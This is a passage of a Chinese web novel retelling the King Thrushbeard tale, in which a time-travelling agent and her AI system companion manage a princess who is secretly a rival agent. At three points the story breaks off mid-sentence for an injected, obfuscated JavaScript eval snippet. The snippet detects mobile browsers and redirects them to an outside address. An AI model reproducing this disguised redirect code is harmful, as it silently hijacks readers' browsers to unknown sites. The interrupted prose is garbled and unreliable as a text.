NO.1在屏幕上打出了两个星号用来表示星星眼。「如果她在天有灵,我一定要让她看看我身上印着的NO.1!」 「……行吧,有机会我也想见见她老人家。」 瑞贝卡对人工智能也有奶奶这件事依旧表示怀疑。 一人一系统正插科打诨,衣袖突然被拉了拉。 瑞贝卡循迹望去,原来是公主挑了她袖子上还算干净的一小块地方,用两点指尖捻着,水润透亮的眼眸眨了眨,可怜巴巴道: “不回答我么?” 4. 歌鸫胡王子(4) “……” 瑞贝卡被那双碧波荡漾的眼眸闪得有片刻的失神。 哐哐哐——「老大!回神!公主问你话呢!」 有了上次的前车之鉴,NO.1这回早有准备。 它不知道从哪儿掏出一面锣来,哐哐哐敲得起劲,瞬间就惊醒了瑞贝卡。 “咳,哈哈,不好意思刚才中邪了。” 瑞贝卡被惊醒,忙揩了揩嘴边并不存在的口水。 “这些,都是属于歌鸫胡王子的,倘若你当初选择了他,这片森林就是你的啦。” 公主听了,眼里的水光一收,面无表情道: “我这个可怜姑娘真是嫩,哎呀呀,当初选择了歌鸫胡王子该多好。” 「……她这样棒读真的没关系吗?」 瑞贝卡向NO.1询问道。 公主不会有什么语言上的疾病吧? 「没、没关系吧?」NO.1迟疑,「我这边显示剧情点正在顺利推进。」 「那随她去吧。」 瑞贝卡对美人向来宽容,更何况是已经成为自己妻子的美人。 就算公主真的有毛病,她也会不离不弃的! 瑞贝卡心里这么想,简直快被自己感动哭了。 「屁咧,你只是为了完成任务。」NO.1吐槽。 「闭嘴,不会说话可以不说。你不想完成任务?」 NO.1赶紧给自己手动闭麦了。 又走了一会儿,两人来到一片丰美的草地,绿草如茵,洁白的牛羊如星子般点缀在绿地上,正悠然自得地吃草。 公主很配合地开了口:“这片美丽的草地,是谁的产业?” “这些,都是属于歌鸫胡王子的,倘若你当初选择了他,这片草地就是你的啦。”瑞贝卡答。 “我这个可怜姑娘真是嫩,哎呀呀,当初选择了歌鸫胡王子该多好。” 虽然她依旧语调平平,但瑞贝卡听着那比机器人还要毫无感情的声线,却突然有点可怜她了: 身为一国公主,森林没见过,草地也没见过,更别提拥有了。 如果她有自己的产业,就算被国王扫地出门也用不着担心,反正饿不死。 自己的命运,果然还是要掌握在自己手中啊。 此时天色已有些昏暗,橘红色的夕阳正缓缓沉入地平线。 瑞贝卡担心荒郊野外会有野兽,便牵起公主继续向前走。 两人赶路到一座繁华的大城市里,许多人身披绫罗绸缎,将精美的器皿物什顶在头上,或铺在道路两侧进行交易,熙熙攘攘,热闹非凡。 公主见了,又问:“这座美丽的大城市,是谁的产业?” “这些,都是属于,歌鸫胡王子的……” 走了这么多路,瑞贝卡真的累了,要不是怕露馅,她还真想带着公主在这儿歇歇脚。 她气喘吁吁地念台词:“倘若你当初选择了他,这座城市就是你的啦。” “我这个可怜姑娘真是嫩,哎呀呀,当初选择了歌鸫胡王子该多好。” “你一直这样说,我可不高兴。” 瑞贝卡扮成的吟游诗人皱起眉,一副颇为不悦的样子。 她臭不要脸道:“你一直都渴望能嫁给另一个男人,难道我还配不上你吗?” 说完这句话,她自己都想笑。 要是在不知情的人看来,这乞丐似的吟游诗人也太把自己当回事了。 “嗯嗯,配得上。” 公主敷衍道,悦耳的声线中隐隐含着笑意。 瑞贝卡没想到她会接话,一时梗住了。 「这不对吧?!」 NO.1用力翻着故事书,把纸张翻得哗哗作响。 「原文里哪有这句,公主干嘛擅自加戏?」 「可能……是我扮成的乞丐,面目太凶恶了?」 瑞贝卡迟疑了片刻,猜测道。 「她怕不顺着我的话,我会家暴她?」 「……这倒不无道理。」 别说公主,瑞贝卡这副尊容,在NO.1看来也是十分可怖:头发乱得像鸡窝,脸上只有眼白和牙最亮眼,整个人又脏又臭,像是刚从泥塘里打滚出来。 它觉得自家宿主的推测很合理。 最后,两人来到一座小小的屋子前: 茅草顶,泥巴堆砌的墙,连窗户都没有。 房门更是低矮,瑞贝卡还好,以公主的身高,非得弯下腰才能进不可——这倒是和故事里说的一模一样了。 公主唇角一抽,说:“哎呀呀,上帝哪,这世上怎会有这么小的屋子,谁会喜欢住这个凄凄惨惨的小破屋呢?” 瑞贝卡答道:“这是我的屋子,也是你的屋子,我们将共同生活在这儿。” 她嘴上这么说,心里却跟NO.1吐槽: 「这、这是人住的地方?我最怕住没窗户的房间了!像个棺材似的,怪难受的。」 NO.1跟着她住惯了时空管理局分配的宽敞明亮的大房子,也感觉浑身不自在: 「这房子半夜不会塌了吧?啊啊啊好吓人!老大,反正那座大城市离这儿不远,要不我们上那儿找间旅店住吧?」 「不行啊,一个乞丐哪来的钱住旅店?」 这房子外面看着吓人,里面更是凉飕飕的,像冰窖一样,瑞贝卡环顾四周,见四面都是黄灰色的土墙,心底一阵接一阵发毛。 「再说了,我走了,公主怎么办?她现在已经是我的妻子了,我总不能丢下她一个人去享福吧?」 “仆人在哪儿?” 还不等一人一系统讨论出个结果来,公主便开口问道。 NO.1瞥见她看向那张窄窄的小床时,眼睛亮了亮。 它疑心自己看错了,擦擦眼,又朝公主看去—— 这回公主一副既害怕又嫌弃的样子,娇躯——呃,虎躯,瑟瑟发抖,不断向自家宿主那边靠近。 要不是瑞贝卡身上脏兮兮的,公主估计怕得都想抱住她了。 嗯,刚才果然是看错了,身娇肉贵的公主怎么可能看见那张又小又破的床会高兴嘛! “哪还有什么仆人!” 瑞贝卡恶声恶气地说台词,颐指气使地使唤公主干活,将一个娶到高攀不起的妻子后成心作践对方的屌丝的丑恶面目演绎得淋漓尽致。 “想干什么,你都必须亲自动手。赶紧生火,把水烧开,你得马上给我做饭吃!我已经累得不行了!” 说完,她就走了出去,到附近的溪边洗澡。 她实在是受不了身上又脏又臭,已经忍到极限了。 瑞贝卡再回来的时候,公主已经找了把椅子坐下,完全没有一丁点儿要生火做饭的意思。 她见瑞贝卡走进来,一双美丽的绿眼睛无辜地望着她,坦然道:“我不会。” ……好理直气壮。 幸好看过原著的瑞贝卡早就料到公主不懂得生火做饭。 她淡定自若地掏出了一路上一直随身携带的大布兜,嗵一声扔到桌上,拆开捆扎的结。 “喏,吃吧。” 她们这一路走来,又是爬山又是过河的,那些点心竟然碎得不多,大部分都还保存完好。 NO.1嘴角抽搐道:「这就是你打秋风的原因?」 「跟国王打秋风总比真去路边要饭好吧?狗还不嫌家贫呢,爱吃不吃,不吃拉倒。」 瑞贝卡对自己的身份适应良好。她礼貌地请公主先用餐,见对方和NO.1一样嘴角抽搐,便耸耸肩,也不勉强,吹了吹板凳上的薄灰,自个儿坐下了。 「王宫里的点心就是不一样,猪油放得真实在,又香又绵软,点心就是要放够猪油才好吃……反正我才不做饭,不吃,她就得饿一晚上。NO.1你要不要,不要我全吃完了啊。」 「要要要!」 NO.1原本还在犹豫,一听这话,也顾不上这是打秋风得来的了,借着瑞贝卡的掩护顺了几块到次空间内,饿死鬼一样拼命往嘴里塞。 「嗯嗯嗯……真好吃!我感觉浑身又充满了能量!」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359688|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「你的能量不是靠推进剧情点获取的?」 瑞贝卡忽然想起NO.1曾说她们与主系统断开连接这回事——这事可大可小,不及时解决的话,闹不好她们真会困在这个小世界一辈子。 「这些天你和主系统联系上了吗?」 「没、没有……」 NO.1吃得正欢,闻言一僵,仿佛妈妈一回家就赶紧找事情做、假装自己正在忙碌的孩子。 「我吃食物也可以从中获取生物能的!等老大你完成《歌鸫胡王子》这个故事后,我再消耗积攒的能量尝试与主系统建立连接,到时候也许就会有结果了。」 NO.1无法和主系统重新连接,就意味着瑞贝卡不能使用积分商城,里面有许多道具和技能,是通关的好帮手。 没能帮上自家宿主的忙,它也很愧疚。 也就是说,这个世界果然有问题啊…… 瑞贝卡一边吃一边思考。 如果有机会,她还想找找同事们留下的讯息,他们不能白白牺牲。 用完这寒碜可怜的一餐饭后,夜幕低垂,黑压压的连一颗星光都瞧不见。屋里更是闷得人心慌,怎么也没法安下心来做别的事。 瑞贝卡实在有些受不了这棺材一样的房子,想开门透透气,结果刚把门打开一条缝隙,就远远听见此起彼伏的狼嚎声,吓得她赶紧把门严严实实堵住,也不再想着要开门透气了。 “夜深了,睡觉吧。” 两人还要在这房子里待上几天,一直没有窗户也实在难熬。瑞贝卡正和NO.1商量至少凿一扇窗出来,就听始终沉默着的公主突然说话了。 她的嗓音依旧悦耳动听,是雌雄莫辨的少年音。 瑞贝卡转身,就见公主已经换上了一身柔软的睡袍,坐在床沿,拍了拍身侧的被褥,翘着睫毛望过来。 ……瑞贝卡莫名从她脸上读出了期盼的意味。 还有那身睡袍,又是她从哪里掏出来的? 比起这个,她更关注的还是那张床: 小床被公主拍得一颤一颤,发出了咯吱咯吱的声响,但仍然顽强地立在原地。 瑞贝卡真担心万一睡到半夜塌了怎么办。 虽然她们都是女孩儿,但怎么说也是两个成年人,这床真的能承受得住吗? 歌鸫胡王子的手下办事未免也太牢靠了:都说当一个人处于危险情境中,会不由自主心跳加速,并且非常容易错把这种由危险情境引起的心跳加速,理解为旁人令自己产生的悸动—— 要真睡到一半床塌了,两个人躺在废墟里面面相觑,这怎么不算一种吊桥效应呢? “要不你先睡吧,我……”瑞贝卡踌躇着开口。 她本来想说把床让给公主睡,自己牵条麻绳学小龙女躺绳上睡觉就好了,反正她以前也不是没干过。 结果话音未落,就见公主下巴一收,白皙的脸庞蒙上一层阴翳,那双春雨般的湿润碧眼也瞬间干涸了,凹陷进去,变作了马上就要飞出恶龙的无底深渊。 公主几乎是面色不虞地盯着她了——“你嫌弃我?” 瑞贝卡大惊,拼命摇头,下意识解释,语速快得差点连标点符号也不带:“老……老婆,你怎么会这么想?我是怕你嫌弃我才对,毕竟你也看到了,我家家徒四壁,和你富丽堂皇的王宫根本没法儿比。你坐在我的屋子里,就像一颗明珠被扔在泥里……” “好了。” 还不等瑞贝卡狡辩完,公主在听见她喊“老婆”二字时,脸色已经好转不少,眸光像初春草叶上的露珠微微晃动。 “我不嫌弃你,老公……你过来吧。” “老公”这两个字被她念得千回百转,含了蜜一样甜,尾音像个惑人心智的小小钩子,只需轻轻一勾,就勾出了瑞贝卡一身的鸡皮疙瘩。 这会儿瑞贝卡反倒疑心有诈了。 她战战兢兢地挪过去,躺进小床内侧,双手交叠搭在小腹上,紧闭双眼,大气也不敢出,心里疯狂捶打NO.1—— 「没人告诉我公主是抖S啊!」 5. 歌鸫胡王子(5) NO.1也早就被眼前性情大变的公主吓傻了,好半天才颤颤巍巍道: 「但其实……好、好像也没OOC?公主不就是以捉弄别人为乐的吗?不然那些求婚者也不会被她骂得屁滚尿流地跑了。」 「如果原著里的公主就这样对待吟游诗人,我倒觉得,这不失为一种不错的报复手段。」 NO.1的猜测听起来有理有据,瑞贝卡瞬间停下了快要把它捶打成牛肉丸的拳头。 「歌鸫胡王子不就是想看公主过得凄凄惨惨,日后就更能凸显嫁给他是多么幸福吗?」 「那相反的,公主就算嫁给吟游诗人,一样能过得风生水起,吃瘪的就是歌鸫胡王子了——也许这就是公主的心愿呢?」 不等NO.1回答,瑞贝卡就听见公主轻轻笑了一声,随后便是窸窸窣窣的布料摩擦声,玫瑰香膏芬芳的气味扑面而来——公主在她身侧躺下了。 怦怦、怦怦、怦怦…… 不知为何,瑞贝卡莫名感到十分紧张,心跳快得像是要跳出胸膛了。 ——这种紧张的情绪在公主伸手搂住她的腰时更是瞬间飙升至巅峰。 公主周身非常暖和,像个大火炉似的,烘得两人盖着的薄被也渐渐温暖起来了,但瑞贝卡依旧直挺挺作躺尸状,整个人僵硬得跟风干多年的老咸鱼有得一拼。 她还关切地摸了摸瑞贝卡的鱼翅,问:“老公,你怎么了?还是很冷么?还是……我抱你,你不高兴?” 最后那句话的语气已经挟着山雨欲来的阴沉。 瑞贝卡生怕再惹她生气——虽然她也不懂自己到底为什么不乐意让公主生气,倒不是因为害怕,只是出于一种自己也解释不清的本能。 她忙不迭道:“高兴高兴高兴!哪有不高兴,简直不能更高兴了!高兴到你要我去摘星星,我都不敢去摘月亮!” “呵……” 公主被她逗笑了,温热的气息扑洒在瑞贝卡耳垂上,鼻尖和嘴唇随着她发笑的频率不时擦过瑞贝卡的肩颈肌肤。 柔软而暧昧的触感弄得瑞贝卡非常不好意思,身上也燥热不已。 要是房子里有灯,公主肯定能发现,她已经从头发丝红到脚后跟了。 她还从来没跟别人这么亲密过呢。 但公主似乎还没玩够。 她好不容易止住笑,又努力绷紧声线,佯装生气道:“怎么,我不能抱你么?” “能能能!” “那你为什么这么僵硬?” “我……我在想,我娶了这么漂亮娇贵的老婆,一定要好好对待她。” 瑞贝卡正绞尽脑汁应付公主的轮番拷问,忽然灵光一现,“公主,你有什么心愿吗?” ——叫老婆果然还是太勉强了! 就叫公主吧,公主挺好的。 正好趁这个机会问问她有什么心愿。 “心愿?” 她话题转换太快,公主似乎没反应过来,不自觉跟着重复了一遍,才缓缓开口。 “我的心愿就是嫁给歌鸫胡王子,得到他的森林、草原和城市呀……就算是这样,你也想为我达成么?” 她含笑着,圈在瑞贝卡腰间的手臂缓缓上移,攀上瑞贝卡的肩膀,指尖在瑞贝卡裸露在外的那一小块皮肤上画圈。 她身上那股好闻的玫瑰香气随着她的动作变得更浓烈了。 但这一次瑞贝卡觉得,做人不能只欣赏玫瑰,同时也要当心玫瑰的尖刺。 同理,娶一个既漂亮又高贵的公主做老婆固然是值得高兴的,但同时也要考虑自己吃不吃得消—— 比如说当下,她就快招架不住了! 「NO.1!NO.1!这根本就是送命题啊!」 瑞贝卡急得在心里疯狂呼唤NO.1给她支招。 「如果我不想为她达成,她就会说我要为她达成心愿只是嘴上说得好听,其实压根儿不在乎她;如果我想为她达成,她就会说我一点儿也不为她吃醋,还是不在乎她——这你让我怎么答!」 「我觉得吧……」 NO.1睡意朦胧的声音传来,它今天陪着瑞贝卡折腾了一天,也很累了——虽然不知道为什么人工智能也会累,也许是失去主系统供能的原因。 「关键在于,这个问题,不是该选Yes or No,而是在于这个问题根本就不该存在……」 「根本就不该存在?」 公主的手还放在瑞贝卡肩上,调皮的指尖挠得她痒痒的,那股香气又无孔不入,触觉和嗅觉同时受到刺激,弄得她睡意全无。 「什么意思?」 「字面意思呗……」 NO.1打了个哈欠,声音越来越小。 「老大你是不是忘了,你们根本就不是一对恩爱夫妻呀……」 …… 翌日清晨,瑞贝卡徐徐转醒。 她还以为自己会紧张得睡不着呢,毕竟身边躺了个不熟悉的人,而且公主的存在感又太强了…… 但紧张着紧张着,竟然就睡过去了。 估计是太累了,怎么着昨天也做了那么多事。 不过温香软玉在怀,公主抱起来真软……才怪! 一想到这个问题,瑞贝卡原本还混沌的神智瞬间就清醒了。 ——一点都不软! 她一想到这儿就来气。 公主身上不仅不软,而且还很硬! 她昨晚不知怎么回事,一个劲儿把自己往里挤,挤得瑞贝卡整个人都贴在墙上了——不知道泥巴砌的墙很容易掉土灰吗?! 瑞贝卡坐起来,呸呸往外吐掉在嘴里的沙土。 就在这时,NO.1赶紧提醒她:「老大,你该走剧情了。」 「剧情是什么来着?」瑞贝卡立马开始搜寻记忆。 但她睡懵了头,一时半会儿还真想不起来了,NO.1便念了一段原文提示她:「“……可是,隔天一大早,他就把公主踢下了床,告诉她,应该立即操持家务了”。」 「我去,这是人干的事吗?」 瑞贝卡简直不敢相信自己的耳朵。 「把老婆踢下床?这跟家暴有什么区别!我要是公主我麻溜地就跑。」 而且公主一生气,又像昨晚那样咄咄逼人怎么办?到时候还不是她来哄。 这剧情真会给她下套。 「……她的确跑了。」 NO.1无奈扶额,觉得自家宿主完完全全就是个妻管严。 「你再看看你的旁边呢?」 瑞贝卡一扭头,身旁果然空空如也。 她甚至看见一个虚线人影轮廓闪了两下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359689|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “公主呢?!” 她惊恐捧脸,作世界名画《呐喊》状。 “我的公主呢?!她跑了,我要怎么……”——继续任务。 话音未落,木门嘎吱一声被推开了。 一道高挑的身影弯腰走进——公主捧着两个油纸包进来,对上瑞贝卡双眼:“醒了?” 她歪头一笑,门外的阳光落在她发顶上,少女乌黑靓丽的秀发便泛出鲜活明亮的光泽。 长而微卷的睫毛下,朝露般清澈的绿眸里纯净得不含一丝杂质,只有满盛到快要溢出的柔和笑意。 「老大,说词儿!说词儿!」 NO.1见自家宿主又被美色迷了心窍,只知道张着嘴傻傻地望着公主,恨铁不成钢地叫道。 “呃,咳咳……” 瑞贝卡赶紧握拳放在嘴边清清嗓,以便更好地进入状态,“老、老婆……你应该立即开始操持家务了。” ——救命!她还是羞耻地觉得这个词难以脱口! 为什么那些情侣就能如此自然地整天把老婆老公挂在嘴边! 黏糊糊的恶心死了! 「你也说了人家是情侣。」NO.1凉凉道,「当然不是你们这对假夫妻比得上的。」 此时公主已经把手中的油纸包放在桌上。闻言,她环顾四周光秃秃的墙壁:“有什么家务要我做?” 瑞贝卡和NO.1:“……” 忘记她们连一件像样的家具都没有了。 “你这个眼里没活的家伙!家务什么的等一下再说。” 屋外艳阳高照,估计已经快到中午了,瑞贝卡肚子里饿得叽里咕噜乱响。 她连忙粗起嗓子,借着说话声掩盖过去,并用下巴隔空点点公主带回来的两个油纸包,“现在,你的丈夫饿了!那是什么好吃的?” 她已经闻到奶油的甜香了! 公主却没有第一时间回答她,而是看了看她的脸,说:“稍等。” 然后走了出去。 再回来时,手里拿着块潮湿的手帕。 瑞贝卡诧异地盯着她,正在猜测她打算做什么时,公主已经走上前来,啪叽一声把湿手帕糊在她脸上,大力揉搓起来。 “唔……唔唔唔!” 瑞贝卡被她这突如其来的一下拍懵了,反应过来后,连忙左躲右闪,夺过她手中的巾帕。 “我、我自己来!” 这公主吃什么长大的,手劲怎么这么大! 瑞贝卡觉得自己都要被她搓掉一层皮了。 「说不定人家是在蓄意报复呢?」 NO.1正伸长了脖子往桌上瞅——它数了又数,确定那张空荡荡的桌子上只有两个油纸包后,脸色顿时就不好了,酸溜溜道:「你也别把她想得那么好。」 哼,不给它带吃的,能是什么好人! 「你别诋毁公主。」 因为有容貌加持,瑞贝卡对她的初始好感值本来就高;现在人家又给她吃的又给她擦脸,她的心早就偏斜得连西西弗斯也推不动石块了。 虽然刚才她有一瞬间的确疼得怀疑人生,但望着公主秀美的脸,她又忍不住给妻子找借口: 公主从小养尊处优,从没伺候过人,一时没把握好力道,也在情理之中。 这么一想,她反倒觉得公主受委屈了。 6. 歌鸫胡王子(6) 见瑞贝卡反抗得厉害,公主也不勉强她,径自走到桌边拆开油纸包。等她把脸擦干净后,才递过去。 “奶酪玉米饼。” “好香!”瑞贝卡眼睛亮了亮,就着公主的手,啊呜一口啃在饼子上。 玉米粒又糯又有嚼劲,虽然不至于过分甜,但微咸的奶酪使其更加臻于完美; 微焦的表面烙得酥酥脆脆,芯子里却软腻得能拉丝。 这正是瑞贝卡所钟爱的口感。 她三下五除二吃掉了自己那份,眼珠一转,见公主还在慢条斯理地进食,玫瑰花瓣般的红润嘴唇微微张开,露出内里珍珠似的洁白牙齿。 那两排贝齿对着金灿灿的饼面上下一合,饼沿便留下了一道规整的咬痕:一个个圆润的小凸起整齐地依次排列着,搭起了一座弯月状的完美桥梁。 瑞贝卡不觉又盯着她怔怔出神,脑后却突然飞过一道闪电,嘴比脑子更快—— “你哪儿来的钱买吃的?” 国王打定主意要让公主吃吃苦头,好改掉她目中无人的臭毛病,又怎么会允许她带钱出宫呢? 就连华美的衣裙都不能穿走,只能换上平民百姓穿的那种粗布麻衣—— 瞧瞧,领口附近的白嫩肌肤,已经被粗糙的布料磨出了红痕,在雪白的肤色上尤为显眼。 看得瑞贝卡越发心疼公主。 公主的性格其实也没有那么恶劣嘛,苦成这样了,都没跟她叫过屈。 她要是国王,肯定今天就派人把公主接回去了——她一点儿也狠不下心来看公主吃苦。 「你已经被公主给迷惑了!」 NO.1完全没想到,这才几天功夫,瑞贝卡已经泥足深陷到这种地步了,不由痛心疾首。 「瑞贝卡这姐们彻底没救了,曾经我觉得你特守正自持,就算有十个美男在你眼前跳脱衣舞你也能面不改色,现在公主说东你都不敢往西吧!」 「哎——说西不说吧,文明你我她。」 瑞贝卡对自己被公主吃得死死这件事丝毫不感到惭愧,反而十分理直气壮。 「公主后面还要吃那么多苦,我同情同情她,给她放放水,怎么就是被她迷惑了呢?」 「再说了,我害公主不能再过锦衣玉食的生活,只能委委屈屈地在这连个窗户都没有的破泥房里栖身,公主不仅没有报复我,还以德报怨,给我带早餐。那我对她好点,难道不是理所应当的吗?」 瑞贝卡晓之以情、动之以理,NO.1渐渐被她说动了,正想说些什么缓和一下气氛,就见从刚才起就目不转睛盯着自家宿主的公主眸光一滞,仿佛发现了什么宝藏,俯下身来不断向她靠近。 “你怎么那么粗心……” 公主用亲昵又带点儿责怪的语气说。 她甚至有些急切,玫瑰香气随着俯身的动作愈发浓烈了。瑞贝卡只感觉唇边一湿——公主伸出嫣红的舌尖,轻轻舔掉了她嘴边残留的玉米粒。 “不要浪费食物。” 说这句话时,公主已经稍稍退开了,但依旧弯身凑在瑞贝卡脸边,两人之间的距离不过几厘米而已,瑞贝卡甚至能看清她脸上细小的绒毛。 公主喉结一滚,吞掉了从瑞贝卡唇边舔食来的那粒玉米粒,而后自下往上抬起眼皮——卷翘的浓密长睫下,那双轻易便能让人联想到爬山虎的绿眸牢牢锁住瑞贝卡的眼睛,像绞缠住大树的藤蔓那样不肯放过她的任何一个表情,亮得惊人。 眼前的景象令NO.1再一次吓傻了。 它大张着嘴,露出里面正一卡一卡运行着的电子元件,脑袋上仿佛冒出了CPU烧坏的白烟,但比起大脑已经死机的瑞贝卡,它的反应还算是好上不少。 「狗、狗……狗屁的以德报怨!」 时间一分一秒过去,NO.1终于缓缓回过神来,抓住面前代表着瑞贝卡的小人双肩疯狂摇晃,试图将她晃醒,「再让她报下去,恐怕就要报到床上了!」 「什、什么呀……」 瑞贝卡大脑还没重启成功,就被NO.1晃得头晕眼花——存在于次空间的、代表着她的小人的感受,也会同步到本体身上。 「女孩子们亲亲抱抱……不、不都很正常吗……我小时候在孤儿院,也、也会和朋友们——」 「问题是,她知道你是女性吗?」 震惊过后,NO.1头脑异常清晰,迅速指出了盲点—— 「别忘了,你现在的身份是她名义上的丈夫!」 「换句话说,她爱上你,是真的有可能的!!」 轰隆隆——这句话顿时将瑞贝卡劈得外焦里嫩,整个人像被推到了冰凉的瀑布底下修炼一样,神智从未如此清醒。 「她图我什么?」瑞贝卡恍恍惚惚地说,「图我年纪大?」 ——哦不对,二十出头,当然不算大。 「那图我不洗澡?」 「虽然你现在看起来还是乌漆嘛黑的,但你昨晚才去河边洗了澡。」 这下连NO.1都看不下去了,出来说了句公道话。 但瑞贝卡已经什么都听不进去了。 她猛地弹跳起来,一把就推开了公主,想要直视对方,然而视线一触及那双迅速氤氲起雾气的绿眼睛,就像被烫着般立马移开了。 瑞贝卡看也不敢看她,结结巴巴道:“我、我们这样是不对的……” “为什么不对?” 事情来得太突然,公主虽然长得人高马大,但一时不察,竟当真被瑞贝卡推开了。 她眨了眨眼,长睫如蝶翼般轻颤着,似乎很是困惑,“你是我的丈夫,我不可以亲你么?我的父王和母后就经常亲吻彼此。” “不可以!”瑞贝卡嘴比脑子更快。 公主闻言,垂下眼睫——那双黑紫蛱蝶静静停在碧湖边,翅膀也不颤了,一副很是失落的样子。 像是被她伤透了心。 “你、你听我说……” 瑞贝卡舌头还没捋直就不得不赶紧组织语言解释,她最看不得公主这一副小可怜样了。 “接吻是一项很亲密的行为,只会在恋人之间进行,你只能对自己喜欢的人这么做……” 「造孽呀……」 母单人士瑞贝卡一边语无伦次地给公主上恋爱指导课——又或是生理健康课?她自己也乱作一团了…… 总之,瑞贝卡颠三倒四地,试图给公主灌输,亲吻不像牵手和拥抱,不能随随便便就跟别人这么做,但最后她也搞不清自己到底在说什么了;一边在心里跟NO.1哭天抢地地哀嚎: 「公主一直养在深宫里,长到十几岁都没谈过恋爱,不清楚男女之间交往的尺度很正常——但是她爸妈不教就不正常了吧?!我记得在我长大的那个孤儿院里,很小的时候就有生理老师每周都来给我们上课了;后来上中学,生物老师也会讲……亏她父母还是国王和王后呢!也不知道请个家庭教师来教教她……」 「嗯……不对不对,我不是这么想的。」 瑞贝卡越讲越心虚、越讲越小声,NO.1却不受影响,它专心听完她的话,摇摇头。 「我觉得根源在于,一开始你对待公主的方式就错了:你对她太温柔了,让她产生了一些不切实际的幻想。要是你对她凶狠一点儿,她越觉得在你这里过得糟糕,就越会觉得歌鸫胡王子好,也就越珍惜以前那些习以为常的富贵生活。」 「可这,真的是公主想要的吗?」 有NO.1帮她理清思路,瑞贝卡沸腾的心绪总算渐渐冷却下来了。 「如果一直按原作走向进行,那我们根本不会进入这个世界——说白了,向歌鸫胡王子低头,这根本不是公主的心愿,不是吗?」 还没等NO.1回话,瑞贝卡忽然觉得手上一暖。 低头一看——只见公主白皙匀称的手,正握住了她的手,修长手指将她的手背覆盖得严严实实,那只手骨节分明,指甲圆润干净,透着粉意。 她稍微收紧了手,瑞贝卡便抬起头,正好撞进公主满盛着坚定的眼里。 “我喜欢你。” 公主一字一句地说,那双总是浮动着粼粼波光的绿眸一瞬也不眨,全神贯注盯着她,犹如一潭浓稠的湖水。 瑞贝卡几乎快溺死在里面,只好狼狈地转开眼——公主却不允许她躲,强势地捏着她的下巴转了回来。 “我的心告诉我,它喜欢你。” 说罢,公主就牵起瑞贝卡的手,往自己胸口放,想让她感受一下,自己的心为她跳得有多么剧烈。 他等这一天,已经等得太久了。 望着他的眼睛,瑞贝卡再也说不出拒绝的话,只是怔怔的,表情茫然而空白…… 哐——! 就在她的掌心即将覆上公主的胸口之际,脑袋里清脆一声锣猛然炸响,登时唤回了瑞贝卡的神智。 「跑!快跑!」 NO.1见她的双眼终于又恢复了高光,连忙一叠声地提醒她,嗓音急促又慌张,「你的状态不对,先出去再说!」 瑞贝卡已经完全失去思考能力,只知凭着本能行动。她潜意识里清楚NO.1不会害她,忙甩开公主的手跳起来,打开门就落荒而逃,脚还在门槛上绊了一下,险些摔倒。 公主刚要起身去扶她,瑞贝卡就自己攀着门框顽强地站稳了。等公主走到门边向外望,瑞贝卡的身影已经消失得无影无踪了。 塞缪尔美艳的脸庞霎时便阴沉下来。 他走回桌边,坐下来,微低着头,十指交握撑在额前,做出了一个祈祷的姿势,嘴唇却一动不动,唯有那双压得极低的深邃绿眸中,涌动着毒液般的惊涛骇浪。 还是太着急了么? 不,也许他的确不该在此刻表白……对于瑞贝卡而言,他现在的身份是“公主”,那她自然而然也会把那些话理解成“公主”想要对“吟游诗人”说的,但这根本就不合理——真正的公主现在一定恨毒了令她从云端跌进泥潭的吟游诗人,又怎么可能会爱上他、想要对他表白呢? 「这些都暂且不提——」 就在塞缪尔思绪纷乱之时,一道略带亢奋的电子音适时从他脑海深处响起。 「你的本命技能向来百试百灵,这一次竟然会失效,NO.1的实力果然恐怖如斯!很好,它已经成功激起了我的征服欲,真是期待下一次再跟它过招啊……」 要是让它知道,NO.1只是在瑞贝卡脑海里敲锣打鼓就破坏了自家宿主的技能效果,什么道具技能金手指都没用上,还不得破口大骂NO.1耍无赖,只知道用这些上不得台面的伎俩——是系统就该堂堂正正地战斗才对! 塞缪尔自觉忽略了那股与它人工智能的身份并不匹配的霸总语气,冷冷提醒:「……你已经是NO.2了。」 几个月之前,NO.2还只是个名不见经传的小系统呢,哪天主系统给它删了都无人在意,如今竟然敢单挑NO.1了。 他分明记得,自己绑定的这个系统以前和他一样,是一条不折不扣的咸鱼,满脑子除了混吃等死就是安详躺平,如今怎么变成这种眼里只剩下更高的排名、更强的战力、更大的对手的内卷狂魔了? 「就是因为只是NO.2,我才不甘心!才要向NO.1发起挑战!」 NO.2气呼呼道:「你知道其它系统是怎么嘲笑我的吗?它们说我是万年老二、说我“拼尽全力,无法战胜”、说我一辈子都只能当NO.1的小弟,跟在它屁股后面给它端茶倒水……总之,这其中的心酸苦楚,你这个早就被爱情蛀空大脑、丧失了斗志的家伙,又怎么会明白!」 发现瑞贝卡接手了那个凶险万分的任务、即将进入童话世界时,这家伙直接什么都不管不顾了,疯了一样不要命地跟着她冲进时空缝隙中。 虽然嘴上说着“你想死我不拦着你,别带我一起”——但事实上,NO.2想拦也拦不住,只好与宿主一同进入了任务世界。 也许是因为原来仅供一人通过的时空缝隙挤进了两个人,所以世界初始化时在角色分配一项上出了差池,本该拿到公主角色的瑞贝卡变成了王子,而本不该回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 